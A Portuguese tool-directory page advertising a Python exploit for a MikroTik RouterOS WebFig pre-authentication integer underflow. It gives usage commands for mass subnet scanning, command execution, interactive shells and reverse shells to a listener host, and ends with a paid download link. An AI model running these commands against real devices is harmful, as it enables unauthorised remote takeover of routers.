Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-84411 — Exploit em Python para CVE-2026-84411, um underflow de inteiro pré-autenticação no WebFig do MikroTik RouterOS que permite RCE, com varredura, execução de comandos e reverse shells. | Kitploit
Ferramentas/GitHubGitHub/maxprog-svg/cve-2026-84411
Segurança de Sistemas EmbarcadosReconhecimentoScanners de VulnerabilidadesSegurança IoTExploraçãoExploração de Aplicações WebSegurança de RedeTestes de PenetraçãoFerramenta de Acesso Remoto
GitHubmaxprog-svg/cve-2026-84411

CVE-2026-84411

16há 27 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Exploit em Python para CVE-2026-84411, um underflow de inteiro pré-autenticação no WebFig do MikroTik RouterOS que permite RCE, com varredura, execução de comandos e reverse shells.

Ver Repositório

CVE-2026-84411 — Exploração de Integer Underflow no WebFig do MikroTik RouterOS

Visão Geral

CVE-2026-84411 é uma vulnerabilidade crítica de Execução Remota de Código (RCE) pré-autenticação no MikroTik RouterOS.

CampoValor
CVSS v39.8 (Crítico)
CWECWE-191: Underflow de Inteiro
Vetor de AtaqueRede
AutenticaçãoNenhuma (Pré-Auth)
ImpactoRCE completo como root / DoS
AfetadoRouterOS < 7.24
CorrigidoRouterOS 7.24+

Como funciona

O serviço de gerenciamento web (WebFig, escutando em TCP/80 e TCP/443) contém um underflow de inteiro no tratamento do corpo das requisições HTTP. Uma única requisição HTTP especialmente elaborada — enviada sem fazer login — pode derrubar o serviço ou permitir a execução de código arbitrário com privilégios totais.

O underflow ocorre quando o parser calcula o comprimento do corpo com validação insuficiente, permitindo que o valor fique abaixo de zero e sofra underflow para um inteiro sem sinal muito grande. As operações de memória que confiam nesse comprimento corrompido (cópias, alocações, verificações de limites) passam então a se comportar de forma catastrófica.

Início Rápido

# 1. Quick scan
python3 cve-2026-84411.py -t http://192.168.88.1

# 2. Full exploit check
python3 cve-2026-84411.py -t http://192.168.88.1 --check

# 3. Execute a command
python3 cve-2026-84411.py -t http://192.168.88.1 --cmd "/system identity print"

# 4. Interactive shell
python3 cve-2026-84411.py -t http://192.168.88.1 --interactive

# 5. Reverse shell
python3 cve-2026-84411.py -t http://192.168.88.1 --shell 10.0.0.1 4444

# 6. Scan multiple targets from file
python3 cve-2026-84411.py -i targets.txt

# 7. Scan a subnet
python3 cve-2026-84411.py --range 192.168.88.0/24

# 8. List available reverse shell types
python3 cve-2026-84411.py --list-shells

Uso

usage: cve-2026-84411.py [-h] [-t TARGET] [-i INPUT_FILE] [--range CIDR]
                         [--check] [--shell LHOST LPORT] [--cmd COMMAND]
                         [--interactive] [--list-shells]
                         [--lhost LHOST] [--lport LPORT] [-v]
                         [--timeout TIMEOUT] [--no-color]

CVE-2026-84411 — MikroTik RouterOS WebFig Integer Underflow Exploit

options:
  -h, --help            show this help message
  -t, --target TARGET   Target URL or host (e.g., http://192.168.88.1)
  -i, --input INPUT_FILE
                        File with targets (one per line)
  --range CIDR          IP range to scan (CIDR notation)
  --check               Run full exploit check
  --shell LHOST LPORT   Spawn reverse shell
  --cmd COMMAND         Execute single command
  --interactive         Interactive shell session
  --list-shells         List available reverse shell types
  --lhost LHOST         Listener host for reverse shell
  --lport LPORT         Listener port for reverse shell
  -v, --verbose         Verbose output
  --timeout TIMEOUT     Request timeout in seconds (default: 10)
  --no-color            Disable ANSI colours

Métodos de Exploração

A ferramenta utiliza quatro métodos de detecção:

  1. Underflow de Content-Length — Envia POST com Content-Length muito maior que o tamanho real do corpo
  2. Chunked Transfer Encoding — Envia tamanhos de chunk extremos (UINT32_MAX, UINT16_MAX)
  3. Content-Length Negativo — Envia valores negativos de Content-Length para acionar underflow
  4. Corpo Grande — Envia corpos muito grandes com Content-Length correspondente

Tipos de Reverse Shell

TipoComando
bashReverse shell bash padrão
pythonReverse shell Python 2
python3Reverse shell Python 3
perlReverse shell Perl
phpReverse shell PHP
ncReverse shell Netcat

Formato de Arquivo para Varredura em Lote

targets.txt — um alvo por linha:

http://192.168.88.1
https://10.0.0.1
192.168.1.100
https://router.example.com

Detecção e Resposta

Telemetria de Rede

O sinal de maior fidelidade é qualquer conexão às portas de gerenciamento web do RouterOS (TCP/80, TCP/443) a partir de uma origem que não seja um host de gerenciamento conhecido.

Regras Sigma

Consulte a postagem do blog Security Arsenal para as regras Sigma: https://securityarsenal.com/blog/cve-2026-84411-mikrotik-routeros-pre-auth-integer-underflow-detection-and-remediation-guide

Mitigação

Atualize para o RouterOS 7.24 ou posterior.

Referências

  • MikroTik Advisory
  • CISA Advisory ICSA-26-272-06
  • NVD CVE-2026-84411
  • SentinelOne Analysis
  • Go PoC

Licença

Apenas para testes de segurança autorizados.

Autor

Port em Python baseado no PoC em Go de Gagaltotal666 / GhostGTR666.

https://satoshidisk.com/pay/CSaodb

Baixar ferramenta